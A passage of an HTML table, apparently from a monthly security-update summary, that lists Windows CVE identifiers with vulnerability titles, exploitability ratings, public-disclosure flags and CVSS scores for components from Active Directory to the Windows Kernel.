Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58529">CVE-2026-58529</a></td><td><p>Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58631">CVE-2026-58631</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56196">CVE-2026-56196</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56197">CVE-2026-56197</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56169">CVE-2026-56169</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57107">CVE-2026-57107</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56185">CVE-2026-56185</a></td><td><p>Windows Admin Center Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48572">CVE-2026-48572</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48571">CVE-2026-48571</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50440">CVE-2026-50440</a></td><td><p>Windows Audio Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50428">CVE-2026-50428</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55144">CVE-2026-55144</a></td><td><p>Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50487">CVE-2026-50487</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50465">CVE-2026-50465</a></td><td><p>Windows DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49169">CVE-2026-49169</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50424">CVE-2026-50424</a></td><td><p>Windows Domain Controller Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50483">CVE-2026-50483</a></td><td><p>Windows Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609">CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54127">CVE-2026-54127</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50315">CVE-2026-50315</a></td><td><p>Windows Image Acquisition Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49173">CVE-2026-49173</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49808">CVE-2026-49808</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a 